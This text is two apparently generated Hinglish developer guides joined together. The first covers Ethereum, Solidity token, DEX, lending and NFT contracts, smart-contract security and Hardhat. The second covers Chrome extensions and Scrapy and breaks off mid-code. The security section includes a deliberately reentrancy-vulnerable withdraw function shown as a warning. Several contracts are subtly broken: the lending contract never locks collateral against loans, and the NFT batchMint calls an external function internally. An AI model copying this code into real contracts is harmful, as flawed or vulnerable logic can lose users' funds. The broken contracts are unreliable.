   - Bitcoin, Ethereum (pre-merge)
   - Miners solve complex math problems
   - Pros: Highly secure, decentralized
```

```
   - Cons: High energy consumption

2. Proof of Stake (PoS):
   - Ethereum (current), Solana, Cardano
   - Validators stake tokens to propose blocks
   - Pros: Energy efficient, fast finality
   - Cons: Wealth concentration risk

3. Delegated Proof of Stake (DPoS):
   - EOS, TRON
   - Token holders vote for delegates
   - Pros: Very fast, scalable
   - Cons: More centralized

4. Proof of Authority (PoA):
   - Private blockchains
   - Pre-approved validators
   - Pros: Very fast, low cost
   - Cons: Centralized
```

---

2. ETHEREUM AND EVM (ETHEREUM VIRTUAL MACHINE)

>> What is Ethereum

WHAT:

Ethereum ek decentralized platform hai jo smart contracts aur decentralized applications (dApps) ko enable karta hai. Bitcoin ke opposite, Ethereum programmable hai.

KEY FEATURES:

* Smart Contracts: Self-executing code on blockchain
* EVM: Runs smart contracts globally
* Ether (ETH): Native cryptocurrency for gas fees
* Decentralized Applications: dApps on Ethereum
* ERC Standards: Token standards (ERC-20, ERC-721, ERC-1155)

>> Ethereum Virtual Machine (EVM)

WHAT:

EVM ek runtime environment hai jo smart contracts execute karta hai. Yeh sandboxed, isolated, aur deterministic hai.

EVM DETAILS:

* Stack-based Machine: 1024 item stack
* Gas System: Computation cost measured in gas
* Bytecode: Solidity compiles to EVM bytecode
* State: Account balances, contract storage
* World State: Mapping of addresses to accounts

>> Ethereum Accounts

WHAT:

Two types of accounts on Ethereum

ACCOUNT TYPES:

```
1. Externally Owned Account (EOA):
   - Controlled by private key
   - Can send transactions
   - Has ETH balance
   - Can deploy contracts

2. Contract Account:
   - Controlled by contract code
   - Has ETH balance
   - Has associated code
   - Can be called by EOA or other contracts
```

>> Gas and Transactions

WHAT:

How transactions work on Ethereum

CONCEPTS:

* Gas: Unit of computational work
* Gas Limit: Max gas user willing to spend
* Gas Price: Price per gas unit (in Gwei)
* Transaction Fee = Gas Used * Gas Price
*
* Transaction Types:
* - Value Transfer: Send ETH from one account to another

* - Contract Deployment: Deploy new smart contract
* - Contract Call: Execute contract function

---

3. SOLIDITY - SMART CONTRACT LANGUAGE

>> Solidity Introduction

WHAT:

Solidity ek object-oriented, high-level language hai jo Ethereum smart contracts likhne ke liye use hoti hai. Syntax JavaScript/C++ jaisa hai.

>> Solidity Development Environment

WHAT:

Solidity development setup

COMMANDS:

```
# Install Node.js and npm
sudo apt update
sudo apt install nodejs npm -y
# Install Truffle Framework
npm install -g truffle
# Install Hardhat
npm install --save-dev hardhat
# Install Ganache (local blockchain)
npm install -g ganache
# Install OpenZeppelin (contract library)
npm install @openzeppelin/contracts
# Create project
mkdir mycontract
cd mycontract
truffle init
# Or Hardhat project
npx hardhat init
```

>> Solidity Complete Contract

WHAT:

Complete ERC-20 Token contract

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract MyToken is ERC20, Ownable {
    uint256 public constant MAX_SUPPLY = 1000000 * 10**18;

    // Events
    event Minted(address indexed to, uint256 amount);
    event Burned(address indexed from, uint256 amount);

    // Constructor
    constructor() ERC20("My Token", "MTK") {
        _mint(msg.sender, 100000 * 10**18);
    }

    // Mint new tokens (only owner)
    function mint(address to, uint256 amount) external onlyOwner {
        require(totalSupply() + amount <= MAX_SUPPLY, "Exceeds max supply");
        _mint(to, amount);
        emit Minted(to, amount);
    }
```

```
    // Burn tokens
    function burn(uint256 amount) external {
        _burn(msg.sender, amount);
        emit Burned(msg.sender, amount);
    }

    // Transfer with custom logic
    function transferWithMemo(address recipient, uint256 amount, string memory memo) external returns (bool) {
        _transfer(msg.sender, recipient, amount);
        // Emit event with memo
        emit TransferWithMemo(msg.sender, recipient, amount, memo);
        return true;
    }

    // Custom event
    event TransferWithMemo(address indexed from, address indexed to, uint256 amount, string memo);
}
```

>> Solidity Contract Explained

WHAT:

Har contract element ka explanation

EXPLANATION:

```
pragma solidity ^0.8.0; - Compiler version
import - Import other contracts/libraries
contract MyToken - Contract definition
is ERC20, Ownable - Inheritance
uint256 - Unsigned 256-bit integer
public constant - State variable with visibility
event - Logging mechanism
constructor - Initialization function
external - Function visibility (called from outside)
onlyOwner - Modifier for access control
require - Validation with revert
_mint - Internal function to mint tokens
emit - Trigger event
memory - Data location for dynamic types
```

>> Complete DeFi Contract - Uniswap Style

WHAT:

Decentralized Exchange (DEX) - Liquidity Pool

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SimpleDEX is ReentrancyGuard {
    IERC20 public token0;
    IERC20 public token1;
    uint256 public reserve0;
    uint256 public reserve1;

    event LiquidityAdded(address indexed provider, uint256 amount0, uint256 amount1);
    event Swapped(address indexed user, address tokenIn, address tokenOut, uint256 amountIn, uint256 amountOut);

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }
```

```
    // Add liquidity to pool
    function addLiquidity(uint256 amount0, uint256 amount1) external nonReentrant {
        require(amount0 > 0 && amount1 > 0, "Amount must be > 0");

        token0.transferFrom(msg.sender, address(this), amount0);
        token1.transferFrom(msg.sender, address(this), amount1);

        reserve0 += amount0;
        reserve1 += amount1;

        emit LiquidityAdded(msg.sender, amount0, amount1);
    }

    // Swap tokens using constant product formula (x * y = k)
    function swap(address tokenIn, uint256 amountIn) external nonReentrant {
        require(amountIn > 0, "Amount must be > 0");

        if (tokenIn == address(token0)) {
            uint256 amountOut = getAmountOut(amountIn, reserve0, reserve1);
            require(amountOut <= reserve1, "Insufficient liquidity");

            token0.transferFrom(msg.sender, address(this), amountIn);
            token1.transfer(msg.sender, amountOut);

            reserve0 += amountIn;
            reserve1 -= amountOut;

            emit Swapped(msg.sender, address(token0), address(token1), amountIn, amountOut);
        } else if (tokenIn == address(token1)) {
            uint256 amountOut = getAmountOut(amountIn, reserve1, reserve0);
            require(amountOut <= reserve0, "Insufficient liquidity");

            token1.transferFrom(msg.sender, address(this), amountIn);
            token0.transfer(msg.sender, amountOut);

            reserve1 += amountIn;
            reserve0 -= amountOut;

            emit Swapped(msg.sender, address(token1), address(token0), amountIn, amountOut);
        } else {
            revert("Invalid token");
        }
    }

    // Get output amount for swap (x * y = k)
    function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) public pure returns (uint256) {
        require(amountIn > 0, "Amount must be > 0");
        require(reserveIn > 0 && reserveOut > 0, "Insufficient liquidity");

        uint256 amountInWithFee = amountIn * 997; // 0.3% fee
        uint256 numerator = amountInWithFee * reserveOut;
        uint256 denominator = (reserveIn * 1000) + amountInWithFee;
        return numerator / denominator;
    }

    // Get current price
    function getPrice() external view returns (uint256) {
        return (reserve0 * 1e18) / reserve1;
    }
}
```

4. WEB3.JS AND ETHERS.JS

>> Web3.js Basics

WHAT:

Web3.js JavaScript library hai jo Ethereum blockchain se interact karti hai

CODE:

```
// Install web3.js
npm install web3

// Connect to Ethereum node
const Web3 = require('web3');
const web3 = new Web3('https://mainnet.infura.io/v3/YOUR-PROJECT-ID');

// Or connect to local Ganache
const web3 = new Web3('http://localhost:8545');

// Get account balance
async function getBalance(address) {
    const balance = await web3.eth.getBalance(address);
    return web3.utils.fromWei(balance, 'ether');
}

// Send transaction
async function sendTransaction() {
    const accounts = await web3.eth.getAccounts();
    const tx = {
        from: accounts[0],
        to: '0x...',
        value: web3.utils.toWei('0.1', 'ether'),
        gas: 21000
    };
    const receipt = await web3.eth.sendTransaction(tx);
    console.log('Transaction hash:', receipt.transactionHash);
}
```

>> Ethers.js Basics

WHAT:

Ethers.js lightweight alternative to Web3.js

CODE:

```
// Install ethers.js
npm install ethers

// Connect to provider
const { ethers } = require('ethers');
const provider = new ethers.providers.JsonRpcProvider('http://localhost:8545');

// Connect with wallet
const privateKey = '0x...';
const wallet = new ethers.Wallet(privateKey, provider);

// Get balance
const balance = await wallet.getBalance();
console.log(ethers.utils.formatEther(balance));

// Interact with contract
const contractABI = []; // Contract ABI
const contractAddress = '0x...';
const contract = new ethers.Contract(contractAddress, contractABI, wallet);

// Call contract function
```

```
const result = await contract.balanceOf(wallet.address);

// Send transaction
const tx = await contract.transfer('0x...', ethers.utils.parseEther('1.0'));
await tx.wait();
console.log('Transaction mined:', tx.hash);
```

>> Complete dApp Frontend

WHAT:

React dApp interacting with smart contract

CODE:

```
import React, { useState, useEffect } from 'react';
import { ethers } from 'ethers';
import contractABI from './contractABI.json';

const CONTRACT_ADDRESS = '0x...';

function App() {
    const [account, setAccount] = useState(null);
    const [contract, setContract] = useState(null);
    const [balance, setBalance] = useState(0);
    const [loading, setLoading] = useState(false);

    // Connect wallet
    const connectWallet = async () => {
        if (window.ethereum) {
            try {
                const accounts = await window.ethereum.request({
                    method: 'eth_requestAccounts'
                });
                setAccount(accounts[0]);

                const provider = new ethers.providers.Web3Provider(window.ethereum);
                const signer = provider.getSigner();
                const contractInstance = new ethers.Contract(
                    CONTRACT_ADDRESS,
                    contractABI,
                    signer
                );
                setContract(contractInstance);

                const balanceWei = await contractInstance.balanceOf(accounts[0]);
                setBalance(ethers.utils.formatEther(balanceWei));
            } catch (error) {
                console.error('Error connecting:', error);
            }
        } else {
            alert('Please install MetaMask!');
        }
    };

    // Transfer tokens
    const transferTokens = async (to, amount) => {
        setLoading(true);
        try {
            const tx = await contract.transfer(to, ethers.utils.parseEther(amount));
            await tx.wait();
            alert('Transfer successful!');
            const newBalance = await contract.balanceOf(account);
            setBalance(ethers.utils.formatEther(newBalance));
        } catch (error) {
            console.error('Transfer error:', error);
            alert('Transfer failed!');
        }
```

```
        setLoading(false);
    };

    return (
        <div>
            <h1>My dApp</h1>
            {!account ? (
                <button onClick={connectWallet}>Connect Wallet</button>
            ) : (
                <div>
                    <p>Account: {account}</p>
                    <p>Balance: {balance} MTK</p>
                    <button onClick={() => transferTokens('0x...', '10')} disabled={loading}>
                        {loading ? 'Processing...' : 'Send 10 MTK'}
                    </button>
                </div>
            )}
        </div>
    );
}

export default App;
```

5. DEFI (DECENTRALIZED FINANCE)

>> What is DeFi

WHAT:

DeFi decentralized financial applications ka ecosystem hai jo blockchain pe run hoti hain. Ye traditional financial services ko bina intermediaries ke provide karti hain.

DEFI COMPONENTS:

* 1. Lending/Borrowing: Aave, Compound
* 2. Decentralized Exchanges: Uniswap, Curve
* 3. Stablecoins: DAI, USDC, USDT
* 4. Yield Farming: Liquidity mining
* 5. Staking: Lock tokens for rewards
* 6. Insurance: Nexus Mutual
* 7. Derivatives: Synthetix

>> Lending Protocol - Simple Implementation

WHAT:

Complete lending and borrowing protocol

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract SimpleLending is ReentrancyGuard, Ownable {
    IERC20 public token;
    uint256 public interestRate = 5; // 5% APR
    uint256 public constant SECONDS_PER_YEAR = 31536000;

    struct Deposit {
        uint256 amount;
        uint256 timestamp;
        uint256 lastUpdate;
    }

    mapping(address => Deposit) public deposits;
    mapping(address => uint256) public borrowed;
    uint256 public totalLiquidity;

    event Deposited(address indexed user, uint256 amount);
    event Withdrawn(address indexed user, uint256 amount);
    event Borrowed(address indexed user, uint256 amount);
    event Repaid(address indexed user, uint256 amount);

    constructor(address _token) {
        token = IERC20(_token);
    }

    // Deposit tokens to earn interest
    function deposit(uint256 amount) external nonReentrant {
        require(amount > 0, "Amount must be > 0");

        // Update interest for existing deposit
        if (deposits[msg.sender].amount > 0) {
            uint256 interest = calculateInterest(msg.sender);
            deposits[msg.sender].amount += interest;
```

```
        }

        token.transferFrom(msg.sender, address(this), amount);
        deposits[msg.sender].amount += amount;
        deposits[msg.sender].timestamp = block.timestamp;
        deposits[msg.sender].lastUpdate = block.timestamp;
        totalLiquidity += amount;

        emit Deposited(msg.sender, amount);
    }

    // Withdraw deposit with interest
    function withdraw(uint256 amount) external nonReentrant {
        Deposit storage deposit = deposits[msg.sender];
        require(deposit.amount >= amount, "Insufficient balance");

        // Calculate interest
        uint256 interest = calculateInterest(msg.sender);
        deposit.amount += interest;

        require(deposit.amount >= amount, "Insufficient after interest");

        deposit.amount -= amount;
        deposit.lastUpdate = block.timestamp;
        totalLiquidity -= amount;

        token.transfer(msg.sender, amount);
        emit Withdrawn(msg.sender, amount);
    }

    // Borrow tokens (must have collateral via deposit)
    function borrow(uint256 amount) external nonReentrant {
        Deposit storage deposit = deposits[msg.sender];
        require(deposit.amount >= amount, "Insufficient collateral");
        require(totalLiquidity >= amount, "Insufficient liquidity");

        borrowed[msg.sender] += amount;
        totalLiquidity -= amount;

        token.transfer(msg.sender, amount);
        emit Borrowed(msg.sender, amount);
    }

    // Repay borrowed tokens
    function repay(uint256 amount) external nonReentrant {
        require(borrowed[msg.sender] >= amount, "Amount exceeds borrowed");

        token.transferFrom(msg.sender, address(this), amount);
        borrowed[msg.sender] -= amount;
        totalLiquidity += amount;

        emit Repaid(msg.sender, amount);
    }

    // Calculate interest for user
    function calculateInterest(address user) public view returns (uint256) {
        Deposit storage deposit = deposits[user];
        if (deposit.amount == 0) return 0;

        uint256 timeElapsed = block.timestamp - deposit.lastUpdate;
        uint256 interest = (deposit.amount * interestRate * timeElapsed) / (100 * SECONDS_PER_YEAR);
        return interest;
    }
}
```

6. NFT (NON-FUNGIBLE TOKEN) DEVELOPMENT

>> What are NFTs

WHAT:

NFTs unique digital assets hain jo blockchain pe represent kiye jaate hain. Har NFT unique hota hai aur interchangeable nahi hota (fungible nahi).

USE CASES:

* Digital Art: Beeple, CryptoPunks, Bored Ape
* Gaming: In-game items, characters
* Music: Royalty tracking
* Real Estate: Property ownership
* Identity: Digital identity, credentials
* Domain Names: ENS (.eth domains)

>> Complete ERC-721 NFT Contract

WHAT:

Complete NFT (ERC-721) implementation

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract MyNFT is ERC721URIStorage, Ownable {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    uint256 public mintPrice = 0.01 ether;
    uint256 public maxSupply = 10000;
    bool public mintingActive = true;

    mapping(uint256 => address) public creators;
    mapping(uint256 => uint256) public royalties; // 0-10000 (0-100%)

    event NFTMinted(address indexed creator, uint256 tokenId, string uri);
    event RoyaltyPaid(address indexed creator, uint256 tokenId, uint256 amount);

    constructor() ERC721("My NFT Collection", "MNFT") {}

    // Mint new NFT
    function mintNFT(address recipient, string memory tokenURI) external payable returns (uint256) {
        require(mintingActive, "Minting is paused");
        require(msg.value >= mintPrice, "Insufficient payment");
        require(_tokenIds.current() < maxSupply, "Max supply reached");

        _tokenIds.increment();
        uint256 newTokenId = _tokenIds.current();

        _mint(recipient, newTokenId);
        _setTokenURI(newTokenId, tokenURI);

        creators[newTokenId] = recipient;
        royalties[newTokenId] = 500; // 5% royalty

        emit NFTMinted(recipient, newTokenId, tokenURI);
        return newTokenId;
```

```
    }

    // Royalty info (EIP-2981)
    function royaltyInfo(uint256 tokenId, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {
        receiver = creators[tokenId];
        royaltyAmount = (salePrice * royalties[tokenId]) / 10000;
        return (receiver, royaltyAmount);
    }

    // Batch mint
    function batchMint(address[] memory recipients, string[] memory uris) external onlyOwner {
        require(recipients.length == uris.length, "Arrays length mismatch");
        for (uint256 i = 0; i < recipients.length; i++) {
            mintNFT(recipients[i], uris[i]);
        }
    }

    // Withdraw funds
    function withdraw() external onlyOwner {
        payable(owner()).transfer(address(this).balance);
    }

    // Toggle minting
    function setMintingActive(bool active) external onlyOwner {
        mintingActive = active;
    }

    // Update mint price
    function setMintPrice(uint256 price) external onlyOwner {
        mintPrice = price;
    }
}
```

>> ERC-1155 Multi-Token Contract

WHAT:

ERC-1155 supports both fungible and non-fungible tokens

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

contract MyMultiToken is ERC1155, Ownable {
    string public name;
    string public symbol;
    uint256 public mintPrice = 0.01 ether;

    mapping(uint256 => bool) public frozen;
    mapping(uint256 => uint256) public maxSupply;
    mapping(uint256 => uint256) public totalSupply;

    constructor(string memory _name, string memory _symbol) ERC1155("ipfs://") {
        name = _name;
        symbol = _symbol;
    }

    // Mint fungible tokens
    function mintFungible(uint256 id, uint256 amount, bytes memory data) external onlyOwner {
        require(maxSupply[id] == 0 || totalSupply[id] + amount <= maxSupply[id], "Exceeds max supply");
        _mint(msg.sender, id, amount, data);
        totalSupply[id] += amount;
    }
```

```
    // Mint NFT (amount = 1)
    function mintNFT(uint256 id, string memory uri, bytes memory data) external onlyOwner {
        require(!frozen[id], "Token is frozen");
        _setURI(uri);
        _mint(msg.sender, id, 1, data);
        totalSupply[id] += 1;
    }

    // Batch mint
    function batchMint(uint256[] memory ids, uint256[] memory amounts, bytes memory data) external onlyOwner {
        _mintBatch(msg.sender, ids, amounts, data);
        for (uint256 i = 0; i < ids.length; i++) {
            totalSupply[ids[i]] += amounts[i];
        }
    }

    // Freeze token
    function freeze(uint256 id) external onlyOwner {
        frozen[id] = true;
    }

    // Set max supply
    function setMaxSupply(uint256 id, uint256 supply) external onlyOwner {
        maxSupply[id] = supply;
    }
}
```

7. BLOCKCHAIN SECURITY

>> Common Vulnerabilities

WHAT:

Smart contract security vulnerabilities

VULNERABILITIES:

```
1. Reentrancy Attack:
   - Attacker repeatedly calls function before state updates
   - Example: DAO hack (2016), $60M lost
   - Prevention: Use ReentrancyGuard, update state before external calls

2. Integer Overflow/Underflow:
   - Numbers exceed max/min range
   - Prevention: Use SafeMath or Solidity 0.8+ built-in checks

3. Front-running:
   - Miners/attacks see pending transactions
   - Prevention: Commit-reveal scheme, gas price limits

4. Timestamp Dependence:
   - Miners can manipulate block.timestamp
   - Prevention: Use block.number instead

5. Access Control Issues:
   - Functions without proper authorization
   - Prevention: Use Ownable, role-based access

6. Uninitialized Storage Pointers:
   - Can lead to overwriting critical data
   - Prevention: Always initialize structs, use memory for temp data

7. DoS with Block Gas Limit:
   - Loops consuming all gas
   - Prevention: Avoid unbounded loops, use pull over push
```

>> Secure Contract with Reentrancy Protection

WHAT:

Secure version of withdrawal pattern

CODE:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SecureWallet is ReentrancyGuard {
    mapping(address => uint256) public balances;

    // Deposit funds
    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    // SECURE: Withdraw using pull pattern with reentrancy guard
    function withdraw(uint256 amount) external nonReentrant {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // Update state BEFORE external call (Checks-Effects-Interactions pattern)
        balances[msg.sender] -= amount;

        // External call after state update
```

```
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");
    }

    // VULNERABLE: Don't do this!
    function vulnerableWithdraw(uint256 amount) external {
        require(balances[msg.sender] >= amount, "Insufficient balance");

        // External call BEFORE state update - vulnerable to reentrancy
        (bool success, ) = msg.sender.call{value: amount}("");
        require(success, "Transfer failed");

        balances[msg.sender] -= amount; // State updated after external call
    }
}
```

>> Security Best Practices

WHAT:

Smart contract security checklist

BEST PRACTICES:

* 1. Use OpenZeppelin libraries for standard contracts
* 2. Implement Checks-Effects-Interactions pattern
* 3. Use ReentrancyGuard for all external calls
* 4. Validate all inputs with require()
* 5. Use SafeMath (or Solidity 0.8+) for arithmetic
* 6. Implement proper access control (Ownable, roles)
* 7. Avoid block.timestamp for randomness
* 8. Keep contracts small and modular
* 9. Test thoroughly with Hardhat/Truffle
* 10. Get multiple audits before mainnet deployment
* 11. Use immutable variables where possible
* 12. Implement emergency stop (circuit breaker)
* 13. Use events for critical state changes
* 14. Limit gas usage in loops

---

8. TESTING AND DEPLOYMENT

>> Hardhat Testing

WHAT:

Testing smart contracts with Hardhat

CODE:

```
// test/MyToken.js
const { expect } = require("chai");
const { ethers } = require("hardhat");

describe("MyToken", function () {
    let MyToken;
    let token;
    let owner;
    let addr1;
    let addr2;

    beforeEach(async function () {
        [owner, addr1, addr2] = await ethers.getSigners();
        MyToken = await ethers.getContractFactory("MyToken");
        token = await MyToken.deploy();
        await token.deployed();
    });

    it("Should have correct name and symbol", async function () {
        expect(await token.name()).to.equal("My Token");
        expect(await token.symbol()).to.equal("MTK");
    });

    it("Should mint initial supply to owner", async function () {
        const ownerBalance = await token.balanceOf(owner.address);
        expect(ownerBalance).to.equal(ethers.utils.parseEther("100000"));
    });

    it("Should transfer tokens between accounts", async function () {
        await token.transfer(addr1.address, ethers.utils.parseEther("50"));
        const addr1Balance = await token.balanceOf(addr1.address);
        expect(addr1Balance).to.equal(ethers.utils.parseEther("50"));
    });

    it("Should fail if sender doesn't have enough balance", async function () {
        const initialOwnerBalance = await token.balanceOf(owner.address);
        await expect(
            token.connect(addr1).transfer(owner.address, 1)
        ).to.be.revertedWith("ERC20: transfer amount exceeds balance");
    });
});
```

>> Deployment Script

WHAT:

Deploy contract to network

CODE:

```
// scripts/deploy.js
const hre = require("hardhat");

async function main() {
    const [deployer] = await hre.ethers.getSigners();
    console.log("Deploying contracts with account:", deployer.address);

    const MyToken = await hre.ethers.getContractFactory("MyToken");
```

```
    const token = await MyToken.deploy();
    await token.deployed();

    console.log("MyToken deployed to:", token.address);

    // Verify on Etherscan
    if (hre.network.name !== "hardhat" && hre.network.name !== "localhost") {
        await hre.run("verify:verify", {
            address: token.address,
            constructorArguments: []
        });
    }
}

main().catch((error) => {
    console.error(error);
    process.exitCode = 1;
});
```

>> Hardhat Config

WHAT:

Hardhat configuration for different networks

CODE:

```
// hardhat.config.js
require("@nomicfoundation/hardhat-toolbox");

const INFURA_API_KEY = "your-infura-key";
const PRIVATE_KEY = "your-private-key";

module.exports = {
    solidity: {
        version: "0.8.19",
        settings: {
            optimizer: {
                enabled: true,
                runs: 200
            }
        }
    },
    networks: {
        hardhat: {
            chainId: 1337
        },
        localhost: {
            url: "http://127.0.0.1:8545"
        },
        goerli: {
            url: `https://goerli.infura.io/v3/${INFURA_API_KEY}`,
            accounts: [PRIVATE_KEY]
        },
        mainnet: {
            url: `https://mainnet.infura.io/v3/${INFURA_API_KEY}`,
            accounts: [PRIVATE_KEY]
        }
    },
    etherscan: {
        apiKey: "your-etherscan-key"
    }
};
```

Browser Automation Complete Guide

Chrome Extensions, Firefox Add-ons, Scrapy, Selenium, Puppeteer

Generated: 23-March-2026

1. CHROME EXTENSION DEVELOPMENT

>> What is Chrome Extension

WHAT:

Chrome Extension browser me additional features add karta hai. JavaScript, HTML, CSS se banta hai. Ye browser functionality extend karta hai - ad blockers, password managers, productivity tools, etc.

KEY COMPONENTS:

* Manifest.json - Extension ka configuration file
* Background Script - Background me chalne wala script
* Content Scripts - Web pages me inject hone wale scripts
* Popup UI - Extension icon click karne par dikhne wala popup
* Options Page - Settings page
* Permissions - Browser features access ke liye

>> Chrome Extension Setup

WHAT:

Chrome extension development environment setup on Linux

COMMANDS:

```
# Create extension folder
mkdir my-extension
cd my-extension
# Create basic files
touch manifest.json popup.html popup.js background.js content.js
# Install Node.js for development tools
curl -fsSL https://deb.nodesource.com/setup_18.x | sudo -E bash -
sudo apt install nodejs -y
# Install Chrome (if not installed)
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb [arch=amd64] http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
sudo apt update
sudo apt install google-chrome-stable -y
# Load extension in Chrome
# Open chrome://extensions/
# Enable Developer mode
# Click 'Load unpacked' and select folder
```

>> Complete Chrome Extension Code

WHAT:

Complete Chrome extension for page manipulation

CODE:

```
// manifest.json
{
  "manifest_version": 3,
  "name": "My Awesome Extension",
  "version": "1.0.0",
  "description": "A powerful Chrome extension for web automation",
  "permissions": [
    "activeTab",
    "storage",
    "tabs",
    "scripting",
    "notifications"
  ],
  "host_permissions": [
    "<all_urls>"
```

```
  ],
  "action": {
    "default_popup": "popup.html",
    "default_icon": {
      "16": "icons/icon16.png",
      "48": "icons/icon48.png",
      "128": "icons/icon128.png"
    }
  },
  "background": {
    "service_worker": "background.js"
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"],
      "run_at": "document_end"
    }
  ],
  "options_page": "options.html",
  "icons": {
    "16": "icons/icon16.png",
    "48": "icons/icon48.png",
    "128": "icons/icon128.png"
  }
}

<!-- popup.html -->
<!DOCTYPE html>
<html>
<head>
  <style>
    body { width: 300px; padding: 10px; font-family: Arial; }
    button { width: 100%; padding: 8px; margin: 5px 0; cursor: pointer; }
    .btn-primary { background: #4285f4; color: white; border: none; }
    .btn-danger { background: #ea4335; color: white; border: none; }
    input { width: 100%; padding: 5px; margin: 5px 0; }
    #status { margin-top: 10px; padding: 5px; background: #f0f0f0; }
  </style>
</head>
<body>
  <h3>Page Automation Tool</h3>
  <input type="text" id="selector" placeholder="CSS Selector">
  <button id="highlightBtn" class="btn-primary">Highlight Elements</button>
  <button id="scrapeBtn" class="btn-primary">Scrape Data</button>
  <button id="darkModeBtn">Toggle Dark Mode</button>
  <div id="status">Ready</div>
  <script src="popup.js"></script>
</body>
</html>

// popup.js
document.getElementById('highlightBtn').addEventListener('click', () => {
  const selector = document.getElementById('selector').value;
  if (!selector) {
    showStatus('Please enter a CSS selector');
    return;
  }
  chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
    chrome.scripting.executeScript({
      target: {tabId: tabs[0].id},
      func: highlightElements,
      args: [selector]
    });
  });
  showStatus(`Highlighting: ${selector}`);
```

```
});

document.getElementById('scrapeBtn').addEventListener('click', () => {
  const selector = document.getElementById('selector').value;
  if (!selector) {
    showStatus('Please enter a CSS selector');
    return;
  }
  chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
    chrome.scripting.executeScript({
      target: {tabId: tabs[0].id},
      func: scrapeData,
      args: [selector]
    }, (results) => {
      const data = results[0].result;
      showStatus(`Scraped ${data.length} items`);
      console.log('Scraped data:', data);
    });
  });
});

document.getElementById('darkModeBtn').addEventListener('click', () => {
  chrome.tabs.query({active: true, currentWindow: true}, (tabs) => {
    chrome.scripting.executeScript({
      target: {tabId: tabs[0].id},
      func: toggleDarkMode
    });
  });
});

function showStatus(message) {
  const statusDiv = document.getElementById('status');
  statusDiv.textContent = message;
  setTimeout(() => {
    if (statusDiv.textContent === message) {
      statusDiv.textContent = 'Ready';
    }
  }, 3000);
}

// Functions injected into page
function highlightElements(selector) {
  const elements = document.querySelectorAll(selector);
  elements.forEach(el => {
    el.style.outline = '3px solid red';
    el.style.backgroundColor = 'yellow';
  });
  alert(`Highlighted ${elements.length} elements`);
}

function scrapeData(selector) {
  const elements = document.querySelectorAll(selector);
  return Array.from(elements).map(el => ({
    text: el.innerText,
    html: el.innerHTML,
    href: el.href || null
  }));
}

function toggleDarkMode() {
  if (document.body.style.backgroundColor === 'black') {
    document.body.style.backgroundColor = '';
    document.body.style.color = '';
  } else {
    document.body.style.backgroundColor = 'black';
    document.body.style.color = 'white';
```

```
  }
}

// background.js - Service worker
chrome.runtime.onInstalled.addListener(() => {
  console.log('Extension installed');
  chrome.storage.sync.set({ theme: 'light' });
});

chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => {
  if (changeInfo.status === 'complete') {
    console.log(`Tab updated: ${tab.url}`);
  }
});

chrome.runtime.onMessage.addListener((request, sender, sendResponse) => {
  if (request.action === 'notify') {
    chrome.notifications.create({
      type: 'basic',
      iconUrl: 'icons/icon48.png',
      title: 'Notification',
      message: request.message
    });
  }
});
```

2. WEB SCRAPING WITH SCRAPY

>> Scrapy Installation

WHAT:

Scrapy framework installation and setup

COMMANDS:

```
# Install Scrapy
pip install scrapy
# Create new project
scrapy startproject myscraper
cd myscraper
# Generate spider
scrapy genspider example example.com
# Run spider
scrapy crawl example -o output.json
# Shell for testing
scrapy shell https://example.com
```

>> Complete Scrapy Spider

WHAT:

Complete Scrapy spider for e-commerce scraping

CODE:

```
import scrapy
from scrapy.loader import ItemLoader
from scrapy.item import Item, Field
from scrapy import signals
import json

class ProductItem(Item):
    name = Field()
    price = Field()
    rating = Field()
    reviews = Field()
    availability = Field()
    image_url = Field()
    product_url = Field()
    category = Field()

class EcommerceSpider(scrapy.Spider):
    name = 'ecommerce'
    allowed_domains = ['example.com']
    start_urls = ['https://example.com/products']

    custom_settings = {
        'USER_AGENT': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
        'DOWNLOAD_DELAY': 2,
        'CONCURRENT_REQUESTS': 1,
        'ROBOTSTXT_OBEY': True,
        'FEED_EXPORT_ENCODING': 'utf-8',
        'ITEM_PIPELINES': {
            'myscraper.pipelines.DuplicatesPipeline': 100,
            'myscraper.pipelines.DataCleanPipeline': 200,
        }
    }

    def __init__(self, category=None, *args, **kwargs):
        super().__init__(*args, **kwargs)
        self.category = category
        self.items_scraped = 0
        self.max_items = kwargs.get('max_items', 100)
```

```
    @classmethod
    def from_crawler(cls, crawler, *args, **kwargs):
        spider = super().from_crawler(crawler, *args, **kwargs)
        crawler.signals.connect(spider.spider_closed, signal=signals.spider_closed)
        return spider

    def start_requests(self):
        headers = {
